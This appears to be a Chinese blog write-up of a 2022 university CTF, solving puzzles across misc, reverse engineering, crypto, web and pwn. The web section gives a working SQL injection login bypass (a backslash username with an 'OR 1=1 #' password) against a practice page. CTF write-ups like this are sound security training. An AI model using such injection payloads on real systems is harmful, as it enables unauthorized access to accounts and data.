2022 西电 抗疫CTF 部分 WP @ Wings            分类 CTF
发布于 星期五, 一月 7 日, 2022 年
更新于 星期六, 一月 8 日, 2022 年

爬到了第四, 还行.

Misc

带上口罩

带上口罩

flag{Nijigen_Waife_needs_FaceMask_As_Well}

帮阿伟买个口罩吧

(不想切 Windows 了就不放图了)

游戏里有个商店, 口罩 500\$, 但是只有 400\$. 尝试 CE 一万年无果.

Game.ini 文件中有一行 Scripts=Data\Scripts.rvdata

搜一下 .rvdata, 发现是 RPG Maker 存档. 顿悟, 存个档, 然后改存档里的钱. 找一个 RPG Maker 存档修改器即可.

flag 也不放了

打不开的压缩包

我不知道这题咋做, 因为我正常解压打开了…

解压出来是一张图片, flag 写脸上了.

secret

flag{众志成城_共抗疫情!!}

(不过我一开始并不知道 flag 里还能有中文, 以为那几个中文字对应了什么英文, 搞了一万年.)

佛说

关键字: 佛说 宇宙的真谛 加密 CTF

搜到与佛论禅

把文本里的那一串丢进去, 解密即可.

解密

flag{你参悟透这其中的真意了吗?}

(不过我一开始把密文放在上面的框框, 然后一直解不出来, 人傻了, 后来多次尝试密文要放在下面的框, 然后上面出原文

不一样的贝斯

从题目名猜出来是 Base 编码.

文件内容比较奇怪:

4B355754434E4442495A5858555A444E48455A4534565A564F4A53464B3342534D455A5655324353493532444356334A48465A47493233514F3551564D33435A4B5257584F4D4B554A4244455157544D4955345641554A3548553D3D3D3D3D3D

看一眼发现只有 0-9 和 A-F, 猜测十六进制表示的 Base. 整个内容共 192(双数) 个字符, 且最后面 3D ASCII 对应的就是 =.

所以先把他变成 ASCII 码文本

text = '4B355754434E4442495A5858555A444E48455A4534565A564F4A53464B3342534D455A5655324353493532444356334A48465A47493233514F3551564D33435A4B5257584F4D4B554A4244455157544D4955345641554A3548553D3D3D3D3D3D'

base = ''.join([chr(int(s, 16)) for s in re.findall(".{2}", text)])
K5WTCNDBIZXXUZDNHEZE4VZVOJSFK3BSMEZVU2CSI52DCV3JHFZGI23QO5QVM3CZKRWXOMKUJBDEQWTMIU4VAUJ5HU======

然后去查了各种 Base 编码, Base16 没有 =, Base64 最多两个 =, 就试了试其他 Base. 第一次试的 Base32, 解出来个这:

b'Wm14aFozdm92NW5rdUl2a3ZhRGt1Wi9rdkpwaVlYTmw1THFHZlE9PQ=='

看到两个 =, 又用 Base64 解了一次:

b'ZmxhZ3vov5nkuIvkvaDkuZ/kvJpiYXNl5LqGfQ=='

居然还是 Base 码, 再来一次 Base64 解码:

b'flag{\xe8\xbf\x99\xe4\xb8\x8b\xe4\xbd\xa0\xe4\xb9\x9f\xe4\xbc\x9abase\xe4\xba\x86}'

终于有 flag 了, 用 UTF-8 编码一下, 就出来了:

flag{这下你也会base了}
import re
from base64 import b32decode, b64decode

text = '4B355754434E4442495A5858555A444E48455A4534565A564F4A53464B3342534D455A5655324353493532444356334A48465A47493233514F3551564D33435A4B5257584F4D4B554A4244455157544D4955345641554A3548553D3D3D3D3D3D'

base = ''.join([chr(int(s, 16)) for s in re.findall(".{2}", text)])

print(str(b64decode(b64decode(b32decode(base))), 'UTF8'))

奇怪的文件

(麻了文件头手动diff的时候没看清, 以为是对的, 然后一直修不好, 我是sb, 这题考场没做出来)

文件无法打开, 用十六进制编辑器可以看到文件头有 .PNG 字样, 对比 PNG 的文件头 (89 50 4E 47 0D 0A 1A 0A), 发现少了一部分, 加回去.

PNG文件头

还可以看见文件尾 (AE 42 60 82) 也有点问题:

PNG文件尾

后面多了三个字节, ASCII 码是 LSB. 先把他删了, 然后猜测下一步用 LSB.

(由于系统设置了字体和UI缩放, 导致 Stegsolve 的界面显示有问题, 选不了第 0 位, 就很离谱…)

(写 WP 的时候试了一下 zsteg, 比 Stegsolve 爽一万倍)

$ zsteg f1ag --bits 1 --channel rgb --lsb
b1,rgb,lsb,xy       .. text: "flag{Lsb_1s_5ooooo_M@gicaL!}p8"

或者 zsteg 还有更爽的, 不加选项也能找到, 或者加 --all, 找所有的信息, 然后 grep 一下, 管你用的啥全给你找出来.

不加选项:

$ zsteg f1ag
b1,r,lsb,xy         .. text: ":=qU_?|>"
b1,rgb,lsb,xy       .. text: "flag{Lsb_1s_5ooooo_M@gicaL!}p8"
b2,g,lsb,xy         .. text: "UUUUUUJ\n\n"
b2,rgb,lsb,xy       .. text: "wv#b5r+1"
b2,bgr,msb,xy       .. text: "DQA@QA@Q"
b2,rgba,lsb,xy      .. text: "?+;k{+k/?"
b2,abgr,msb,xy      .. text: ["S" repeated 10 times]
b3,b,lsb,xy         .. text: "vKmNIdn@A"
b4,r,lsb,xy         .. text: "uEUUUUUS"
b4,g,lsb,xy         .. text: "u4DDDDDB"
b4,g,msb,xy         .. text: ",\"\"\"\"\"BO"
b4,b,lsb,xy         .. text: "uwwwwwwu"
b4,b,msb,xy         .. text: "]33U3U333333"
b4,rgb,msb,xy       .. text: "QUS5US5US5U"
b4,bgr,msb,xy       .. text: "S5US5US5US"
b4,rgba,lsb,xy      .. text: "PO@?A_@_QOQ_0?"
b4,abgr,msb,xy      .. text: "?U?U?U?U?U?U?U"

--all & grep:

$ zsteg f1ag --all | grep flag
b1,rgb,lsb,xy       .. text: "flag{Lsb_1s_5ooooo_M@gicaL!}p8"

flag 如下:

flag{Lsb_1s_5ooooo_M@gicaL!}

RE

buy a mask

Linux 下没敢盲目更新 python3.10, 切 windows 写的.

chall.py 中导入了 magic 包, 也就是那个 .pyd 文件中的东西. 使用 help(magic) 查看 magic 中的函数:

$ python
Python 3.10.1 (tags/v3.10.1:2cd268a, Dec  6 2021, 19:10:37) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import(magic)
>>> help()
Help on module magic:

NAME
    magic

FUNCTIONS
    check_box(a: 'int') -> 'unicode'

    hidden_func() -> None

    hidden_number_guess() -> None

    menu() -> None

    my_python_shop()

    show(buf: 'unicode') -> None

    start() -> None

DATA
    __test__ = {}

FILE
    d:\ctf\2022-kyctf-win\bam\magic.cp310-win_amd64.pyd

发现隐藏函数 hidden_func. 调用一下:

>>> magic.hidden_func()
QwQ, you find me.
Do you want the flag?
wwwww, I won't give it to you so easily!
How about playing another game?
yeah, a number guess game!
I have a favorite number, and it will never change.
Now, guess it!
give me a number between 1 and 999999
And I will throw it to my check box
Input the character 'q' to exit the game

就是猜个数字. 看见 check box, 这也有个函数叫 check_box, 合理推测把数字传入, 返回提示信息或者 flag 之类的. 随便输入数字, 发现返回 'WRONG!!!!\nTRY AGAIN!!!'. 于是写个程序, 输出不是 'WRONG!!!!\nTRY AGAIN!!!' 的内容即可.

import magic

for i in range(1, 1000000):
    if magic.check_box(i) != 'WRONG!!!!\nTRY AGAIN!!!':
        print(magic.check_box(i))
flag{mAy_a11_th3_b3auTy_Be_b1essed}

recovery

main.py 是输入字符串, 输出"编码矩阵". 如何编码在 Flag.py 里.

class DataFrame(object):
    def __init__(self, flag):

        # 在 flag 后补齐 16 的倍数位, 如果本来就是 16 的倍数, 也再补 16.
        # 补的字节全是 bytes(数字缺几位到16)

        self.flag = (lambda data : data + bytes([16-len(data)%16] * (16-len(data)%16)))(flag)
        self.matrix = [0] * len(self.flag)

    def gen_matrix(self):
        for i in range(len(self.flag)):
            # flag的每一位左边补0到8位
            self.matrix[i] = bin(self.flag[i])[2:].rjust(8, '0')
            print(self.matrix[i])
            # cycle left shift 1 bit 循环左移一位
            self.matrix[i] = self.matrix[i][1:] + self.matrix[i][0]


    # 交换第i行和第i+1行
    def swap_matrix_row(self):
        for i in range(0, len(self.matrix) - 1, 2):
            self.matrix[i], self.matrix[i+1] = self.matrix[i+1], self.matrix[i]

    def encode_matrix(self):
        self.gen_matrix()
        self.swap_matrix_row()
        # 取反
        return bytes([int(self.matrix[i], 2) ^ 0xff for i in range(len(self.matrix))])

看代码就知道在干嘛了. (注释是自己读完以后加的)

这几个操作相互独立, 顺序没有影响, 所以随便咋来都行.

def dec(code):
    # 生成矩阵
    code_matrix = [0] * len(code)
    for i in range(len(code)):
        code_matrix[i] = bin(code[i])[2:].rjust(8, '0')
    # 交换
    for i in range(0, len(code_matrix) - 1, 2):
        code_matrix[i], code_matrix[i+1] = code_matrix[i+1], code_matrix[i]
    # 循环右移一位
    for i in range(len(code_matrix)):
        code_matrix[i] = code_matrix[i][-1] + code_matrix[i][:-1]
    # 取反, 转bytes
    org = bytes([int(code_matrix[i], 2) ^ 0xff for i in range(len(code_matrix))])

    return org.decode('UTF-8')

print(dec(b"'31=3\t3333\x9d3/\x8d\x17-#-\xbd1\xbd\xbd\xed\x05\xed\xed\xed\xed\xed\xed\xed\xed"))

flag{ffffff19hiting!!!}

runme

file 一下 runme, 64 位 ELF, 丢入 ida64, main 函数很简单, 并且给了输出文件:

  shoutLoudly((__int64)&song);
  puts("\n\t————Cerf-volant");
  printf("%s", "Entrez un message: ");
  __isoc99_scanf("%22s", v4);
  printOut((const char *)v4);
  return 0;

进去 shoutLoudly(), 发现只有输出…

printOut() 看, 发现加密:

  for ( i = 0; ; ++i )
  {
    result = strlen(a1);
    if ( i >= result )
      break;
    a1[i] ^= (_BYTE)i + 1;
    printf("%d ", (unsigned int)a1[i]);
  }
  return result

非常简单, 就是把输入的字符异或上(他的下标 + 1), 注意下标 i 只有 8 位.

那只用拿输出内容再异或回来就行了.

    int x, cnt = 0;
    while (scanf("%d", &x) != EOF)
        printf("%c", (unsigned char) (x ^ (1 + cnt++)));
flag{S1ng_@_S0n9_4_U5}

click it!

qt 程序, 打开让你点 1919810 下. (还真有人点了这么多下拿到 flag 的, 我大受震撼)

file 一下 click_it.exe, 64 位 PE 文件, 丢入 ida64.

然后他说点按钮获得flag, 自然去找按钮监听函数, 找到 MainWindow::on_button_clicked(void), 点开发现 flag 写脸上.

__int64 __fastcall MainWindow::on_button_clicked(MainWindow *this)
{
  __int64 v1; // rax
  __int64 v2; // rdx
  const QString *v4; // rsi
  volatile signed __int32 *v5; // rax
  volatile signed __int32 *v6; // rax
  volatile signed __int32 *v8; // rax
  __int64 v9; // rcx
  __int64 v10; // rdx
  __int64 v11; // rdx
  __int64 v12; // [rsp+20h] [rbp-C8h] BYREF
  const char *v13; // [rsp+28h] [rbp-C0h]
  __int64 v14[4]; // [rsp+30h] [rbp-B8h] BYREF
  __m128i v15; // [rsp+50h] [rbp-98h] BYREF
  __int64 v16; // [rsp+60h] [rbp-88h]
  __m128i v17; // [rsp+70h] [rbp-78h] BYREF
  __int64 v18; // [rsp+80h] [rbp-68h]
  volatile signed __int32 *v19; // [rsp+90h] [rbp-58h] BYREF
  __int64 v20; // [rsp+98h] [rbp-50h]
  __int64 v21; // [rsp+A0h] [rbp-48h]

  v1 = *((_QWORD *)this + 10);
  v2 = *((_QWORD *)this + 11);
  if ( v1 < v2 )
    *((_QWORD *)this + 10) = ++v1;
  if ( v2 != v1 )
  {
    QString::number((QString *)v14, v2 - v1, 10);
    v12 = 6i64;
    v13 = "click ";
    QString::fromUtf8(&v15, &v12);
    QString::append((QString *)&v15, (const QString *)v14);
    v17 = _mm_load_si128(&v15);
    v18 = v16;
    if ( v15.m128i_i64[0] )
      _InterlockedAdd((volatile signed __int32 *)v15.m128i_i64[0], 1u);
    v12 = 25i64;
    v13 = " times to get the flag!!!";
    QString::fromUtf8(&v19, &v12);
    QString::append((QString *)&v17, (const QString *)&v19);
    if ( v19 && !_InterlockedSub(v19, 1u) )
      QArrayData::deallocate(v19, 2i64, 8i64);
    v4 = (MainWindow *)((char *)this + 56);
    QString::operator=((char *)this + 56, &v17);
    if ( v17.m128i_i64[0] && !_InterlockedSub((volatile signed __int32 *)v17.m128i_i64[0], 1u) )
    {
      QArrayData::deallocate(v17.m128i_i64[0], 2i64, 8i64);
      v5 = (volatile signed __int32 *)v15.m128i_i64[0];
      if ( !v15.m128i_i64[0] )
        goto LABEL_13;
    }
    else
    {
      v5 = (volatile signed __int32 *)v15.m128i_i64[0];
      if ( !v15.m128i_i64[0] )
        goto LABEL_13;
    }
    if ( !_InterlockedSub(v5, 1u) )
    {
      QArrayData::deallocate(v15.m128i_i64[0], 2i64, 8i64);
      v6 = (volatile signed __int32 *)v14[0];
      if ( !v14[0] )
        return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
LABEL_14:
      if ( !_InterlockedSub(v6, 1u) )
        QArrayData::deallocate(v14[0], 2i64, 8i64);
      return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
    }
LABEL_13:
    v6 = (volatile signed __int32 *)v14[0];
    if ( !v14[0] )
      return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
    goto LABEL_14;
  }
  v12 = 78i64;
  v13 = "Congratulations! Here is you flag!   flag{Senren *Banka from Yuzusoft is good}";
  QString::fromUtf8(&v19, &v12);
  v8 = (volatile signed __int32 *)*((_QWORD *)this + 7);
  v9 = v20;
  *((_QWORD *)this + 7) = v19;
  v10 = *((_QWORD *)this + 8);
  v19 = v8;
  *((_QWORD *)this + 8) = v9;
  v20 = v10;
  v11 = *((_QWORD *)this + 9);
  *((_QWORD *)this + 9) = v21;
  v21 = v11;
  if ( v8 && !_InterlockedSub(v8, 1u) )
    QArrayData::deallocate(v19, 2i64, 8i64);
  v4 = (MainWindow *)((char *)this + 56);
  return QLineEdit::setText(*((QLineEdit **)this + 6), v4);
}
flag{Senren *Banka from Yuzusoft is good}

bullshxt

file 一下, 64 位 PE, 丢进 iea64.

29-33 行存在关键字 flag:

  if ( std::operator==<char>(key, &title[abi:cxx11]) )
  {
    for ( i = 0; i <= 36; ++i )
      std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, (unsigned int)(char)(flag[i] - 1));
  }

判断 keytitle 如果是一样的, 就输出 flag.

往上找 title, 27-28 行是输入 title:

  while ( (unsigned __int8)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::empty(&title[abi:cxx11]) )
    std::getline<char,std::char_traits<char>,std::allocator<char>>(refptr__ZSt3cin, &title[abi:cxx11]);

并没有找到 key. 双击发现是全局变量, 初始值为 just_want_flag

.data

然后运行程序, 输入 just_want_flag, 就可以得到 flag 了.

$ wine bullshxt.exe 
The theme is:  just_want_flag
flag{t3ach3r's_bl00d_pr3ssur3_UPUP}ÿÿ
Press any key to continue...

(Linux 下跑的, 有字符显示问题, 不过 flag 没啥问题)

或者, flag 其实也是全局变量, 且有初始值, 直接找到就行, 注意程序输出的是字符 flag[i] + 1, 所以上图中的 flag 需要每一位 +1 才是 flag.

flag{t3ach3r's_bl00d_pr3ssur3_UPUP}

the edge

一开始我还在找怎么逆 Click Once…

1

2

3

flag{WhAt1s_this-0ver_th3_edge?}

Crypto

做个核酸签个到

from Crypto.Util.number import *
from secret import flag
flag = bytes_to_long(flag)

tmp = getRandomNBitInteger(142)
a = flag | tmp
b = flag & tmp
print(tmp)
print(a)
print(b)

'''OUTPUT
4475588893486760807434877361949655702156202
10403436853134845129656953606837707260539903
2994485173442830774576326061629704337957160
'''

把 flag 转成二进制, 然后生成一个 142 位的随机二进制数(输出给了), 然后输出 flag | tmpflag & tmp.

列真值表:

tmp a b flag
0 0 0 0
0 1 0 1
1 1 0 0
1 1 1 1

然后对着表转换(对我就是这么蠢)

const char* tmp = "01100110110000010010010110110101101111110010001001010011101101000001001011100001111101000111011110000001111000111110010100001111011001110101010";
const char* a = "11101110110110011110011111111111111111111011001011010011111111001101111011111111111101001111011110000011111100111111111110101111011001111111111";
const char* b = "01000100110000000000000010000100101101100010000001010010001000000001000010100000100101000001001010000000101000101000010000001010010000100101000";

int main() {
    n = strlen(tmp);
    string ans;
    for (int i = 0; i < n; i++) {
        if (a[i] == '0' && b[i] == '0' && tmp[i] == '0')
            ans.push_back('0');
        if (a[i] == '1' && b[i] == '0' && tmp[i] == '0')
            ans.push_back('1');
        if (a[i] == '1' && b[i] == '0' && tmp[i] == '1')
            ans.push_back('0');
        if (a[i] == '1' && b[i] == '1' && tmp[i] == '1')
            ans.push_back('1');
    }
    cout << ans;
    return 0;
}

然后转回 bytes 型

flag = 0b11001100110110001100001011001110111101101011000011010010011010001101110010111110100101001001001010000010101100101001111010101010010000101111101

str_flag = ''

while flag > 0:
    c = flag % (2 ** 8)
    flag = flag // (2 ** 8)
    str_flag = str_flag + chr(c)

print(str_flag[::-1])
flag{Xi4n_JIAYOU!}

Web

(这Web太友好了, 完全没学, 凭着对网络的理解就能做一半以上的题)

ez_game

打开网页发现是一个 js 写的游戏. 提示 5000 分能够获得 flag.

F12 翻一下源码, 没找到 flag, 但是在 enemys.js 里找到了得分变量 score:

//敌机移动
function enemyMove() {
    var enes = document.getElementsByClassName('enemy');
    for (var i = 0; i < enes.length; i++) {
        if (enes[i].isBol == true) {
            if (enes[i].bgIndex < enes[i].bgMaxIndex) {
                enes[i].bgIndex++;
                enes[i].style.backgroundPosition = -enes[i].bgIndex * enes[i].offsetWidth + 'px 0';
            } else {
                score += enes[i].score;
                $('scoreNum').innerHTML = '分数: ' + score;
                enes[i].isDelete = true;
            }

        }
        if (enes[i].offsetTop > 568 || enes[i].isDelete) {
            $('enemys').removeChild(enes[i]);
            i--;
            continue;
        }
        enes[i].style.top = enes[i].offsetTop + enes[i].speedY + 'px';
    }
    // console.log(enes.length);
}

直接控制台改变得分大于 5000 即可.

然后被创死, 弹窗给 flag

flag{Ez_Plane_war_1s_so_wonderful!}

你喜欢copy吗

打开网页, flag写脸上, 无法复制(不会有人手打叭?)

F12 查看源码, 好家伙, 每个字符都用 <div> 包起来了.

<p>疫情期间, laotong宅在宿舍里写论文, 作为懒狗, 他准备去百度几篇文章拼凑一下, 结果发现网页里的文字不充会员无法复制!聪明的你能教教他如何复制嘛?</p>
<script type="text/javascript">
document.oncontextmenu = function(){ return false; };
document.onselectstart = function(){ return false; };
document.oncopy = function(){ return false; };
document.oncut = function(){ return false; };
</script>

<div>f</div>
<div>l</div>
<div>a</div>
<div>g</div>
<div>{</div>

<!-- ....... -->

<div>}</div>

直接复制所有东西, 随便用个现代或者古代文本编辑其处理一下把 <div><\div> 删了就行了.

flag{l47dGRuNzgCUQRu0vKqXFd32ZfQYoMyGlwgq2fo9Tq0YURgGeKGQN0mEAqe8fGmoMdXYlo1dZ41IDyE3k9aM8NYc65EHSaMK3BEuGxiL6SgeSxXKEBCNT3WMGeQKd3wupkKVSTFGZwX1zukcCOqxmcIRoMSqtgVbVbp0Z8gP8ZMdUDsXbG39q6eHHrTtom5h8nA7WgKKo8yumGceSPi7LRwlcepDh1ZTVP0COrW7guC1p69xbnw23c0g6godLMZluyO76QYoKTfRVplIeNKZOgqe9d4v3P7P70yRXGDuHsrdgVSgMpy35vuxAG34VYafLNCfNm30htPqaLchZXXqU2QGdAXZueU1LRr5SGcQ9iL42NUXvqFoS7P755F1Ugp380KQFoZuwGgUYVoQ7Y9GcsUEW6T6i9FTBxSpuyp8e673FMqpx3ig8OnThoZQFa5QOiDPpdH5FxUadABwnCihmNzFZfiiA0V1RdmUohvPB4kDIQKIrqewwF6C6M240kDarFDSfO3YxEiKSgyxW4AmNpDh8MzDmpMeb1hyFbsh0svLUzxW8QKx43hPZR9calqgpLGl6mmTiVXRvgcpZXLgFRgqwgGxlapCHuqQ06ET6kc3WCGf8EePNbS8vETkXOGzc16O6cfxay8WNrxZxGCl5duGYIZHWDEDkIAtg6F1pCnwKG2ieGsIIPiXpVccVWM9SyNz1uur6IGs4nWg6FzBXfCg0KdO5YVuaQHgPvcFqOEga9iDfsWhQu4yb8OEootp1koLxwkv8CPm9rTkZeVN5QgI9YnNg5X4K5u1Ps3OHD7dXgUPLF0YnsfmI0PlDeyZfy0epV2lxQ9gFgv1gmLppH2Vy1WiROKvmfncCGp0GX2zCLXMg9C0ayvtLfkcvY2azxIIzVANTnBEen9WDLusyQHwTDH5Qu26wLWB50RlFfGNMGAUEkAqKTONYgiTgscqyaiZ6d30Fr4dPclFzE1dvyeM06FWorSK8nxWINQmRSal2qp1gclGeOmIGsqU4sNy}

让我访问!

打开只有一段 php, 请求方法为 HS 显示 flag.php 内容.

 <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] === "HS") {
    include_once "flag.php";
    echo $flag;
} 
else {
    highlight_file("index.php");
} 

postman 改一下请求方法为 HS 即可.

HS

flag{COVID_doesnt_spread_via_network}

tips

打开以后是若干条防疫知识, 知识竞赛!

F12 源码看到一条注释 /?answer= (写WP时看到的, 考场没发现, 觉得key应该是answer就写上去了…)

做题! 答案是 B,E. 带个参数 /?answer=B,E 请求一下, 得到flag.

flag{covid19_is_not_undefeatable}
打完疫苗后可适度运动, 不会降低人体免疫力. 不过, 建议避免剧烈运动, 这是为了防止因运动过度而让身体不适. 接种疫苗与饮食没有直接的关系, 无论接种前还是接种后, 都可正常饮食. 专家建议, 为了保持身体健康, 避免饮酒, 避免吃平常就容易导致过敏的食物. 
1月31日, 钟南山接受北京卫视《养生堂》节目采访时就表示: "到现在我没有发现有很明显的后遗症, 治愈的可能以后会大量增加. "所谓副作用更大, 后遗症拖累后半生等说法完全是危言耸听

F12

如题, 发现奇怪的东西.


  <!-- 猜猜这是什么
゚ω゚ノ= /`m´) ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+/*´∇`*/(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (o^_^o))+(o^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((o^_^o) - (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (o^_^o))+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (o^_^o))+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((゚ー゚) + (o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((o^_^o) - (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (o^_^o))+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
  -->
  <!--答案结尾没有分号!-->

拿出来看一眼, 发现有分号, 可能是某种语言源代码的加密. 首先排除 python

继续观察, 发现有字典, 排除 c/cpp.

然后觉得 Web 题里应该是 js 吧.

然后尝试手撕!

发现太难了. 但是这题一万个人过了, 想想应该很简单才对. 于是搜索, 关键字: 颜文字 JS 加密, 马上找到 aaencode, 看这示例还真就是. 找到解码网站把代码丢进去, 解得 flag{everything-will-be-fine};, 答案没有分号, 我还真就复制粘贴直接提交了一次…

flag{everything-will-be-fine}

真是好简单的sql注入啊!

学一手 sql 注入.

原理很简单, 就是提交的表单直接拿去执行 sql 语句. 那么只要精心构造就能够绕过登录.

F12 查看源码, 得到提示 \$sql = "SELECT * FROM users WHERE username = '\$username' AND password = '\$password'";

原理在于闭合单引号', 构造永真条件.

直接输入 ' 会返回 bad hack, 另一种方法是输入 \ 使得后面的 ' 被转移掉, 就像这样:

SELECT * FROM users WHERE username = '\' AND password = '$password'

这样的话 username' AND password = , 注意第一个 ' 是被转移成的字符. 然后会发现有语法错误, 确实在 username 里输入 \, 返回 bad query. 现在还需要做的是构造一个永真式, 以及去掉最后多余的 \. 这很好办, 只需要在 password 里输入一个永真式, 然后输入 # 注释掉后面的 ' 即可. 可以这样构造: username: \, password: OR 1=1 #. 那么查询语句就是:

SELECT * FROM users WHERE username = '\' AND password = ' OR 1=1 #'

这样的查询意思是, 找用户名为 ' AND password = 或者 1=1 的数据, 由于 1=1 永真, 所以只要有数据就查询成功.

 flag{w0w_you_are_so_cool}

Pwn

shell

直接给 shell

fd

送 flag.

file 一下 fd, 64 位 ELF, 丢到 ida64 里一看, 两个选择都会给 flag.

第一个:

  v4 = __readfsqword(0x28u);
  puts("\nPuzzle1:");
  __isoc99_scanf("%d", &arg);
  strcpy(key, "secretKey\n");
  fd = arg - 1131796;
  *(_QWORD *)inp = 0LL;
  *(_QWORD *)&inp[8] = 0LL;
  *(_QWORD *)&inp[16] = 0LL;
  *(_QWORD *)&inp[24] = 0LL;
  *(_QWORD *)&inp[32] = 0LL;
  *(_QWORD *)&inp[40] = 0LL;
  *(_WORD *)&inp[48] = 0;
  read(0, inp, 0x14uLL);
  if ( !strcmp(inp, key) )
  {
    system("/bin/cat ./flag");
    con();
  }

第二个输入和 key 比较, key = "secretKey\n", 所以输入

1
(随便一个数数字)
secretKey

得到 flag:

Welcome to the GAME!
The First Serie: Let's learn some basic knowledge about Linux.
Chapter 1: Do you know what the File Descriptor is?
Request: Here'e two puzzles, and you're required to solve any one of them to get the flag!
(But I strongly advise you to solve them both to have a better understanding of File Descriptor.      ——BlackBird) 

Your Choice: 1

Puzzle1:
1
secretKey
flag{File_Descriptor_is_so_34sy}Congratulations!!! I believe you've known about the File Descriptor. Try another one puzzle, and you'll know it better.

第二个点(我没做, 写WP的时候才现查的,,,),

v4 = __readfsqword(0x28u);
  puts("\nPuzzle2:");
  __isoc99_scanf("%d", &arg);
  strcpy(path, "./flag");
  open(path, 0);
  fd = arg - 1131796;
  *(_QWORD *)flag = 0LL;
  *(_QWORD *)&flag[8] = 0LL;
  *(_QWORD *)&flag[16] = 0LL;
  *(_QWORD *)&flag[24] = 0LL;
  *(_QWORD *)&flag[32] = 0LL;
  *(_QWORD *)&flag[40] = 0LL;
  *(_WORD *)&flag[48] = 0;
  read(arg - 1131796, flag, 0x32uLL);
